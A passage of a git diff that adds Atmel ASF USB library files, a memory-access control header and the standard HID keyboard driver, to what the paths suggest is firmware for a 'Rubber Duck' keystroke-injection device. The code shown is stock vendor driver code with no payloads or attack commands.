SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE + * + */ + +#ifndef _CTRL_ACCESS_H_ +#define _CTRL_ACCESS_H_ + +#include "compiler.h" +#include "conf_access.h" + + +//! Status returned by CTRL_ACCESS interfaces. +typedef enum +{ + CTRL_GOOD = PASS, //!< Success, memory ready. + CTRL_FAIL = FAIL, //!< An error occurred. + CTRL_NO_PRESENT = FAIL + 1, //!< Memory unplugged. + CTRL_BUSY = FAIL + 2 //!< Memory not initialized or changed. +} Ctrl_status; + + +// FYI: Each Logical Unit Number (LUN) corresponds to a memory. + +// Check LUN defines. +#ifndef LUN_0 + #error LUN_0 must be defined as ENABLE or DISABLE in conf_access.h +#endif +#ifndef LUN_1 + #error LUN_1 must be defined as ENABLE or DISABLE in conf_access.h +#endif +#ifndef LUN_2 + #error LUN_2 must be defined as ENABLE or DISABLE in conf_access.h +#endif +#ifndef LUN_3 + #error LUN_3 must be defined as ENABLE or DISABLE in conf_access.h +#endif +#ifndef LUN_4 + #error LUN_4 must be defined as ENABLE or DISABLE in conf_access.h +#endif +#ifndef LUN_5 + #error LUN_5 must be defined as ENABLE or DISABLE in conf_access.h +#endif +#ifndef LUN_6 + #error LUN_6 must be defined as ENABLE or DISABLE in conf_access.h +#endif +#ifndef LUN_7 + #error LUN_7 must be defined as ENABLE or DISABLE in conf_access.h +#endif +#ifndef LUN_USB + #error LUN_USB must be defined as ENABLE or DISABLE in conf_access.h +#endif + +/*! \name LUN IDs + */ +//! @{ +#define LUN_ID_0 (0) //!< First static LUN. +#define LUN_ID_1 (LUN_ID_0 + LUN_0) +#define LUN_ID_2 (LUN_ID_1 + LUN_1) +#define LUN_ID_3 (LUN_ID_2 + LUN_2) +#define LUN_ID_4 (LUN_ID_3 + LUN_3) +#define LUN_ID_5 (LUN_ID_4 + LUN_4) +#define LUN_ID_6 (LUN_ID_5 + LUN_5) +#define LUN_ID_7 (LUN_ID_6 + LUN_6) +#define MAX_LUN (LUN_ID_7 + LUN_7) //!< Number of static LUNs. +#define LUN_ID_USB (MAX_LUN) //!< First dynamic LUN (USB host mass storage). +//! @} + + +// Include LUN header files. +#if LUN_0 == ENABLE + #include LUN_0_INCLUDE +#endif +#if LUN_1 == ENABLE + #include LUN_1_INCLUDE +#endif +#if LUN_2 == ENABLE + #include LUN_2_INCLUDE +#endif +#if LUN_3 == ENABLE + #include LUN_3_INCLUDE +#endif +#if LUN_4 == ENABLE + #include LUN_4_INCLUDE +#endif +#if LUN_5 == ENABLE + #include LUN_5_INCLUDE +#endif +#if LUN_6 == ENABLE + #include LUN_6_INCLUDE +#endif +#if LUN_7 == ENABLE + #include LUN_7_INCLUDE +#endif +#if LUN_USB == ENABLE + #include LUN_USB_INCLUDE +#endif + + +// Check the configuration of write protection in conf_access.h. +#ifndef GLOBAL_WR_PROTECT + #error GLOBAL_WR_PROTECT must be defined as ENABLED or DISABLED in conf_access.h +#endif + + +#if GLOBAL_WR_PROTECT == ENABLED + +//! Write protect. +extern Bool g_wr_protect; + +#endif + + +/*! \name Control Interface + */ +//! @{ + +#ifdef FREERTOS_USED + +/*! \brief Initializes the LUN access locker. + * + * \return \c true if the locker was successfully initialized, else \c false. + */ +extern Bool ctrl_access_init(void); + +#endif // FREERTOS_USED + +/*! \brief Returns the number of LUNs. + * + * \return Number of LUNs in the system. + */ +extern U8 get_nb_lun(void); + +/*! \brief Returns the current LUN. + * + * \return Current LUN. + * + * \todo Implement. + */ +extern U8 get_cur_lun(void); + +/*! \brief Tests the memory state and initializes the memory if required. + * + * The TEST UNIT READY SCSI primary command allows an application client to poll + * a LUN until it is ready without having to allocate memory for returned data. + * + * This command may be used to check the media status of LUNs with removable + * media. + * + * \param lun Logical Unit Number. + * + * \return Status. + */ +extern Ctrl_status mem_test_unit_ready(U8 lun); + +/*! \brief Returns the address of the last valid sector (512 bytes) in the + * memory. + * + * \param lun Logical Unit Number. + * \param u32_nb_sector Pointer to the address of the last valid sector. + * + * \return Status. + */ +extern Ctrl_status mem_read_capacity(U8 lun, U32 *u32_nb_sector); + +/*! \brief Returns the size of the physical sector. + * + * \param lun Logical Unit Number. + * + * \return Sector size (unit: 512 bytes). + */ +extern U8 mem_sector_size(U8 lun); + +/*! \brief Returns the write-protection state of the memory. + * + * \param lun Logical Unit Number. + * + * \return \c true if the memory is write-protected, else \c false. + * + * \note Only used by removable memories with hardware-specific write + * protection. + */ +extern Bool mem_wr_protect(U8 lun); + +/*! \brief Tells whether the memory is removable. + * + * \param lun Logical Unit Number. + * + * \return \c true if the memory is removable, else \c false. + */ +extern Bool mem_removal(U8 lun); + +/*! \brief Returns a pointer to the LUN name. + * + * \param lun Logical Unit Number. + * + * \return Pointer to the LUN name string. + */ +extern const char *mem_name(U8 lun); + +//! @} + + +#if ACCESS_USB == ENABLED + +/*! \name MEM <-> USB Interface + */ +//! @{ + +/*! \brief Transfers data from the memory to USB. + * + * \param lun Logical Unit Number. + * \param addr Address of first memory sector to read. + * \param nb_sector Number of sectors to transfer. + * + * \return Status. + */ +extern Ctrl_status memory_2_usb(U8 lun, U32 addr, U16 nb_sector); + +/*! \brief Transfers data from USB to the memory. + * + * \param lun Logical Unit Number. + * \param addr Address of first memory sector to write. + * \param nb_sector Number of sectors to transfer. + * + * \return Status. + */ +extern Ctrl_status usb_2_memory(U8 lun, U32 addr, U16 nb_sector); + +//! @} + +#endif // ACCESS_USB == ENABLED + + +#if ACCESS_MEM_TO_RAM == ENABLED + +/*! \name MEM <-> RAM Interface + */ +//! @{ + +/*! \brief Copies 1 data sector from the memory to RAM. + * + * \param lun Logical Unit Number. + * \param addr Address of first memory sector to read. + * \param ram Pointer to RAM buffer to write. + * + * \return Status. + */ +extern Ctrl_status memory_2_ram(U8 lun, U32 addr, void *ram); + +/*! \brief Copies 1 data sector from RAM to the memory. + * + * \param lun Logical Unit Number. + * \param addr Address of first memory sector to write. + * \param ram Pointer to RAM buffer to read. + * + * \return Status. + */ +extern Ctrl_status ram_2_memory(U8 lun, U32 addr, const void *ram); + +//! @} + +#endif // ACCESS_MEM_TO_RAM == ENABLED + + +#if ACCESS_STREAM == ENABLED + +/*! \name Streaming MEM <-> MEM Interface + */ +//! @{ + +//! Erroneous streaming data transfer ID. +#define ID_STREAM_ERR 0xFF + + #if ACCESS_MEM_TO_MEM == ENABLED + +/*! \brief Copies data from one memory to another. + * + * \param src_lun Source Logical Unit Number. + * \param src_addr Source address of first memory sector to read. + * \param dest_lun Destination Logical Unit Number. + * \param dest_addr Destination address of first memory sector to write. + * \param nb_sector Number of sectors to copy. + * + * \return Status. + */ +extern Ctrl_status stream_mem_to_mem(U8 src_lun, U32 src_addr, U8 dest_lun, U32 dest_addr, U16 nb_sector); + + #endif // ACCESS_MEM_TO_MEM == ENABLED + +/*! \brief Returns the state of a streaming data transfer. + * + * \param id Transfer ID. + * + * \return Status. + * + * \todo Implement. + */ +extern Ctrl_status stream_state(U8 id); + +/*! \brief Stops a streaming data transfer. + * + * \param id Transfer ID. + * + * \return Number of remaining sectors. + * + * \todo Implement. + */ +extern U16 stream_stop(U8 id); + +//! @} + +#endif // ACCESS_STREAM == ENABLED + + +#endif // _CTRL_ACCESS_H_ diff --git a/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/common/services/usb/class/hid/device/kbd/udi_hid_kbd.c b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/common/services/usb/class/hid/device/kbd/udi_hid_kbd.c new file mode 100755 index 0000000..f8d47d4 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/common/services/usb/class/hid/device/kbd/udi_hid_kbd.c @@ -0,0 +1,368 @@ +/** + * \file + * + * \brief USB Device Human Interface Device (HID) keyboard interface. + * + * Copyright (C) 2009 Atmel Corporation. All rights reserved. + * + * \page License + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, + * this list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an + * Atmel AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR + * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER + * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH + * DAMAGE. + */ + +#include "conf_usb.h" +#include "usb_protocol.h" +#include "udd.h" +#include "udc.h" +#include "udi_hid.h" +#include "udi_hid_kbd.h" +#include + +/** + * \addtogroup udi_hid_keyboard_group + * @{ + */ + +/** + * \name Interface for UDC + */ +//@{ + +bool udi_hid_kbd_enable(void); +void udi_hid_kbd_disable(void); +bool udi_hid_kbd_setup(void); +uint8_t udi_hid_kbd_getsetting(void); + +//! Global structure which contains standard UDI interface for UDC +UDC_DESC_STORAGE udi_api_t udi_api_hid_kbd = { + .enable = (bool(*)(void))udi_hid_kbd_enable, + .disable = (void (*)(void))udi_hid_kbd_disable, + .setup = (bool(*)(void))udi_hid_kbd_setup, + .getsetting = (uint8_t(*)(void))udi_hid_kbd_getsetting, +}; + +//@} + + +/** + * \name Internal defines and variables to manage HID keyboard + */ +//@{ + +//! Size of report for standard HID keyboard +#define UDI_HID_KBD_REPORT_SIZE 8 + + +//! To store current rate of HID keyboard +static uint8_t udi_hid_kbd_rate; +//! To store current protocol of HID keyboard +static uint8_t udi_hid_kbd_protocol; +//! To store report feedback from USB host +static uint8_t udi_hid_kbd_report_set; +//! To signal if a valid report is ready to send +static bool udi_hid_kbd_b_report_valid; +//! Report ready to send +static uint8_t udi_hid_kbd_report[UDI_HID_KBD_REPORT_SIZE]; +//! Signal if a report transfer is on going +static bool udi_hid_kbd_b_report_trans_ongoing; +//! Buffer used to send report +COMPILER_WORD_ALIGNED + static uint8_t + udi_hid_kbd_report_trans[UDI_HID_KBD_REPORT_SIZE]; + +//@} + +//! HID report descriptor for standard HID keyboard +UDC_DESC_STORAGE udi_hid_kbd_report_desc_t udi_hid_kbd_report_desc = { + { + 0x05, 0x01, /* Usage Page (Generic Desktop) */ + 0x09, 0x06, /* Usage (Keyboard) */ + 0xA1, 0x01, /* Collection (Application) */ + 0x05, 0x07, /* Usage Page (Keyboard) */ + 0x19, 224, /* Usage Minimum (224) */ + 0x29, 231, /* Usage Maximum (231) */ + 0x15, 0x00, /* Logical Minimum (0) */ + 0x25, 0x01, /* Logical Maximum (1) */ + 0x75, 0x01, /* Report Size (1) */ + 0x95, 0x08, /* Report Count (8) */ + 0x81, 0x02, /* Input (Data, Variable, Absolute) */ + 0x81, 0x01, /* Input (Constant) */ + 0x19, 0x00, /* Usage Minimum (0) */ + 0x29, 101, /* Usage Maximum (101) */ + 0x15, 0x00, /* Logical Minimum (0) */ + 0x25, 101, /* Logical Maximum (101) */ + 0x75, 0x08, /* Report Size (8) */ + 0x95, 0x06, /* Report Count (6) */ + 0x81, 0x00, /* Input (Data, Array) */ + 0x05, 0x08, /* Usage Page (LED) */ + 0x19, 0x01, /* Usage Minimum (1) */ + 0x29, 0x05, /* Usage Maximum (5) */ + 0x15, 0x00, /* Logical Minimum (0) */ + 0x25, 0x01, /* Logical Maximum (1) */ + 0x75, 0x01, /* Report Size (1) */ + 0x95, 0x05, /* Report Count (5) */ + 0x91, 0x02, /* Output (Data, Variable, Absolute) */ + 0x95, 0x03, /* Report Count (3) */ + 0x91, 0x01, /* Output (Constant) */ + 0xC0 /* End Collection */ + } +}; + +/** + * \name Internal routines + */ +//@{ + +/** + * \brief Changes keyboard report states (like LEDs) + * + * \param rate New rate value + * + */ +static bool udi_hid_kbd_setreport(void); + +/** + * \brief Send the report + * + * \return \c 1 if send on going, \c 0 if delay. + */ +static bool udi_hid_kbd_send_report(void); + +/** + * \brief Callback called when the report is sent + * + * \param status UDD_EP_TRANSFER_OK, if transfer is completed + * \param status UDD_EP_TRANSFER_ABORT, if transfer is aborted + * \param nb_sent number of data transfered + * + * \return \c 1 if function was successfully done, otherwise \c 0. + */ +void udi_hid_kbd_report_sent(udd_ep_status_t status, iram_size_t nb_sent); + +/** + * \brief Callback called to update report from USB host + * udi_hid_kbd_report_set is updated before callback execution + */ +static void udi_hid_kbd_setreport_valid(void); + +//@} + + +//-------------------------------------------- +//------ Interface for UDI HID level + +bool udi_hid_kbd_enable(void) +{ + // Initialize internal values + udi_hid_kbd_rate = 0; + udi_hid_kbd_protocol = 0; + udi_hid_kbd_b_report_trans_ongoing = false; + memset(udi_hid_kbd_report, 0, UDI_HID_KBD_REPORT_SIZE); + udi_hid_kbd_b_report_valid = false; + return UDI_HID_KBD_ENABLE_EXT(); +} + + +void udi_hid_kbd_disable(void) +{ + UDI_HID_KBD_DISABLE_EXT(); +} + + +bool udi_hid_kbd_setup(void) +{ + return udi_hid_setup(&udi_hid_kbd_rate, + &udi_hid_kbd_protocol, + (uint8_t *) &udi_hid_kbd_report_desc, + udi_hid_kbd_setreport); +} + + +uint8_t udi_hid_kbd_getsetting(void) +{ + return 0; +} + + +static bool udi_hid_kbd_setreport(void) +{ + if ((USB_HID_REPORT_TYPE_OUTPUT == (udd_g_ctrlreq.req.wValue >> 8)) + && (0 == (0xFF & udd_g_ctrlreq.req.wValue)) + && (1 == udd_g_ctrlreq.req.wLength)) { + // Report OUT type on report ID 0 from USB Host + udd_g_ctrlreq.payload = &udi_hid_kbd_report_set; + udd_g_ctrlreq.callback = udi_hid_kbd_setreport_valid; + udd_g_ctrlreq.payload_size = 1; + return true; + } + return false; +} + + +//-------------------------------------------- +//------ Interface for application + +bool udi_hid_kbd_modifier_up(uint8_t modifier_id) +{ + irqflags_t flags = cpu_irq_save(); + + // Fill report + udi_hid_kbd_report[0] &= ~modifier_id; + udi_hid_kbd_b_report_valid = true; + + // Send report + udi_hid_kbd_send_report(); + + cpu_irq_restore(flags); + return true; +} + + +bool udi_hid_kbd_modifier_down(uint8_t modifier_id) +{ + irqflags_t flags = cpu_irq_save(); + + // Fill report + udi_hid_kbd_report[0] |= modifier_id; + udi_hid_kbd_b_report_valid = true; + + // Send report + udi_hid_kbd_send_report(); + + cpu_irq_restore(flags); + return true; +} + + +bool udi_hid_kbd_up(uint8_t key_id) +{ + uint8_t i; + + irqflags_t flags = cpu_irq_save(); + + // Fill report + for (i = 2; i < UDI_HID_KBD_REPORT_SIZE; i++) { + if (0 == udi_hid_kbd_report[i]) { + // Already removed + cpu_irq_restore(flags); + return true; + } + if (key_id == udi_hid_kbd_report[i]) + break; + } + if (UDI_HID_KBD_REPORT_SIZE == i) { + // Already removed + cpu_irq_restore(flags); + return true; + } + // Remove key and shift + while (i < (UDI_HID_KBD_REPORT_SIZE - 1)) { + udi_hid_kbd_report[i] = udi_hid_kbd_report[i + 1]; + i++; + } + udi_hid_kbd_report[UDI_HID_KBD_REPORT_SIZE - 1] = 0x00; + udi_hid_kbd_b_report_valid = true; + + // Send report + udi_hid_kbd_send_report(); + + cpu_irq_restore(flags); + return true; +} + + +bool udi_hid_kbd_down(uint8_t key_id) +{ + uint8_t i; + + irqflags_t flags = cpu_irq_save(); + + // Fill report + for (i = 2; i < UDI_HID_KBD_REPORT_SIZE; i++) { + if (0 == udi_hid_kbd_report[i]) + break; + if (key_id == udi_hid_kbd_report[i]) { + // Already in array + cpu_irq_restore(flags); + return true; + } + } + + if (UDI_HID_KBD_REPORT_SIZE == i) { + // Array full + // TODO manage more than UDI_HID_KBD_REPORT_SIZE key pressed in same time + cpu_irq_restore(flags); + return false; + } + // Add key at the end of array + udi_hid_kbd_report[i] = key_id; + udi_hid_kbd_b_report_valid = true; + + // Send report + udi_hid_kbd_send_report(); + + // Enable IT + cpu_irq_restore(flags); + return true; +} + + +//-------------------------------------------- +//------ Internal routines + +static bool udi_hid_kbd_send_report(void) +{ + if (udi_hid_kbd_b_report_trans_ongoing) + return false; + memcpy(udi_hid_kbd_report_trans, udi_hid_kbd_report, + UDI_HID_KBD_REPORT_SIZE); + udi_hid_kbd_b_report_valid = false; + udi_hid_kbd_b_report_trans_ongoing = + udd_ep_run( UDI_HID_KBD_EP_IN, + false, + udi_hid_kbd_report_trans, + UDI_HID_KBD_REPORT_SIZE, + udi_hid_kbd_report_sent); + return udi_hid_kbd_b_report_trans_ongoing; +} + +void udi_hid_kbd_report_sent(udd_ep_status_t status, iram_size_t nb_sent) +{ + udi_hid_kbd_b_report_trans_ongoing = false; + if (udi_hid_kbd_b_report_valid) { + udi_hid_kbd_send_report(); + } +} + +static void udi_hid_kbd_setreport_valid(void) +{ + UDI_HID_KBD_CHANGE_LED(udi_hid_kbd_report_set); +} + +//@} diff --git a/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/common/services/usb/class/hid/device/kbd/udi_hid_kbd.h b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/common/services/usb/class/hid/device/kbd/udi_hid_kbd.h new file mode 100755 index 0000000..ef2d10f --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/common/services/usb/class/hid/device/kbd/udi_hid_kbd.h @@ -0,0 +1,169 @@ +/** + * \file + * + * \brief USB Device Human Interface Device (HID) keyboard interface. + * + * Copyright (C) 2009 Atmel Corporation. All rights reserved. + * + * \page License + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, + * this list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an + * Atmel AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR + * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER + * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH + * DAMAGE. + */ + +#ifndef _UDC_HID_KBD_H_ +#define _UDC_HID_KBD_H_ + +#include "conf_usb.h" +#include "usb_protocol.h" +#include "usb_protocol_hid.h" +#include "udc_desc.h" +#include "udi.h" + +#ifdef __cplusplus +extern "C" { +#endif + +/** + * \ingroup udi_hid_group + * \defgroup udi_hid_keyboard_group UDI for Human Interface Device keyboard Class + * base on UDI HID + * @{ + */ + +//! Global structure which contains standard UDI API for UDC +extern UDC_DESC_STORAGE udi_api_t udi_api_hid_kbd; + +/** + * \name Interface Descriptor + * + * The following structures provide the interface descriptor. + * It must be implemented in USB configuration descriptor. + */ +//@{ + +//! Interface descriptor structure for HID keyboard +typedef struct { + usb_iface_desc_t iface; + usb_hid_descriptor_t hid; + usb_ep_desc_t ep; +} udi_hid_kbd_desc_t; + +//! Report descriptor for HID keyboard +typedef struct { + uint8_t array[59]; +} udi_hid_kbd_report_desc_t; + + +//! By default no string associated to this interface +#ifndef UDI_HID_KBD_STRING_ID +#define UDI_HID_KBD_STRING_ID 0 +#endif + +//! HID keyboard endpoints size +#define UDI_HID_KBD_EP_SIZE 8 + +//! Content of HID keyboard interface descriptor for all speed +#define UDI_HID_KBD_DESC {\ + .iface.bLength = sizeof(usb_iface_desc_t),\ + .iface.bDescriptorType = USB_DT_INTERFACE,\ + .iface.bInterfaceNumber = UDI_HID_KBD_IFACE_NUMBER,\ + .iface.bAlternateSetting = 0,\ + .iface.bNumEndpoints = 1,\ + .iface.bInterfaceClass = HID_CLASS,\ + .iface.bInterfaceSubClass = HID_SUB_CLASS_NOBOOT,\ + .iface.bInterfaceProtocol = HID_PROTOCOL_KEYBOARD,\ + .iface.iInterface = UDI_HID_KBD_STRING_ID,\ + .hid.bLength = sizeof(usb_hid_descriptor_t),\ + .hid.bDescriptorType = USB_DT_HID,\ + .hid.bcdHID = LE16(USB_HID_BDC_V1_11),\ + .hid.bCountryCode = USB_HID_NO_COUNTRY_CODE,\ + .hid.bNumDescriptors = USB_HID_NUM_DESC,\ + .hid.bRDescriptorType = USB_DT_HID_REPORT,\ + .hid.wDescriptorLength = LE16(sizeof(udi_hid_kbd_report_desc_t)),\ + .ep.bLength = sizeof(usb_ep_desc_t),\ + .ep.bDescriptorType = USB_DT_ENDPOINT,\ + .ep.bEndpointAddress = UDI_HID_KBD_EP_IN,\ + .ep.bmAttributes = USB_EP_TYPE_INTERRUPT,\ + .ep.wMaxPacketSize = LE16(UDI_HID_KBD_EP_SIZE),\ + .ep.bInterval = 2,\ + } +//@} + + + +/** + * \name Interface for application + * + * These routines are used by application to send keyboard events + */ +//@{ + +/** + * \brief Send events key modifier released + * + * \param modifier_id ID of key modifier + * + * \return \c 1 if function was successfully done, otherwise \c 0. + */ +bool udi_hid_kbd_modifier_up(uint8_t modifier_id); + +/** + * \brief Send events key modifier pressed + * + * \param modifier_id ID of key modifier + * + * \return \c 1 if function was successfully done, otherwise \c 0. + */ +bool udi_hid_kbd_modifier_down(uint8_t modifier_id); + + +/** + * \brief Send events key modifier released + * + * \param key_id ID of key + * + * \return \c 1 if function was successfully done, otherwise \c 0. + */ +bool udi_hid_kbd_up(uint8_t key_id); + +/** + * \brief Send events key modifier pressed + * + * \param key_id ID of key + * + */ +bool udi_hid_kbd_down(uint8_t key_id); +//@} + +//@} + +#ifdef __cplusplus +} +#endif +#endif // _UDC_HID_KBD_H_ diff --git a/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/common/services/usb/class/hid/device/kbd/udi_hid_kbd_conf.h b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/common/services/usb/class/hid/device/kbd/udi_hid_kbd_conf.h new file mode 100755 index 0000000..3818785 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/common/services/usb/class/hid/device/kbd/udi_hid_kbd_conf.h @@ -0,0 +1,72 @@ +/** + * \file + * + * \brief Default HID keyboard configuration for a USB Device + * with a single interface HID keyboard + * + * Copyright (C) 2009 Atmel Corporation. All rights reserved. + * + * \page License + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, + * this list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an + * Atmel AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR + * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER + * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH + * DAMAGE. + */ + +#ifndef _UDI_HID_KBD_CONF_H_ +#define _UDI_HID_KBD_CONF_H_ + +/** + * \ingroup udi_hid_keyboard_group + * \defgroup udi_hid_keyboard_group_conf Default HID keyboard configuration + * for a USB Device with a single interface HID + * + * @{ + */ + +//! Control endpoint size +#define USB_DEVICE_EP_CTRL_SIZE 8 + +//! Endpoint number used by HID keyboard interface +#define UDI_HID_KBD_EP_IN (1 | USB_EP_DIR_IN) + +//! Interface number +#define UDI_HID_KBD_IFACE_NUMBER 0 + +/** + * \name UDD Configuration + */ +//@{ +//! 1 endpoint used by HID keyboard standard interface +#define USB_DEVICE_MAX_EP 1 +//@} + +//@} + +#include "udi_hid_kbd.h" + +#endif // _UDI_HID_KBD_CONF_H_ diff --git a/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/common/services/usb/class/hid/device/kbd/udi_hid_kbd_desc.c b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/common/services/usb/class/hid/device/kbd/udi_hid_kbd_desc.c new file mode 100755 index 0000000..3fd2fb4 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/common/services/usb/class/hid/device/kbd/udi_hid_kbd_desc.c @@ -0,0 +1,158 @@ +/** + * \file + * + * \brief Default descriptors for a USB Device + * with a single interface HID keyboard + * + * Copyright (C) 2009 Atmel Corporation. All rights reserved. + * + * \page License + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, + * this list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an + * Atmel AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR + * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER + * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH + * DAMAGE. + */ + +#include "conf_usb.h" +#include "udd.h" +#include "udc_desc.h" +#include "udi_hid.h" +#include "udi_hid_kbd.h" + +/** + * \ingroup udi_hid_keyboard_group + * \defgroup udi_hid_keyboard_group_desc Default descriptors for a USB Device + * with a single interface HID keyboard + * + * @{ + */ + +//! Only one interface for this device +#define USB_DEVICE_NB_INTERFACE 1 + +/**INDENT-OFF**/ +//! USB Device Descriptor +COMPILER_WORD_ALIGNED +UDC_DESC_STORAGE usb_dev_desc_t udc_device_desc = { + .bLength = sizeof(usb_dev_desc_t), + .bDescriptorType = USB_DT_DEVICE, + .bcdUSB = LE16(USB_V2_0), + .bDeviceClass = 0, + .bDeviceSubClass = 0, + .bDeviceProtocol = 0, + .bMaxPacketSize0 = USB_DEVICE_EP_CTRL_SIZE, + .idVendor = LE16(USB_DEVICE_VENDOR_ID), + .idProduct = LE16(USB_DEVICE_PRODUCT_ID), + .bcdDevice 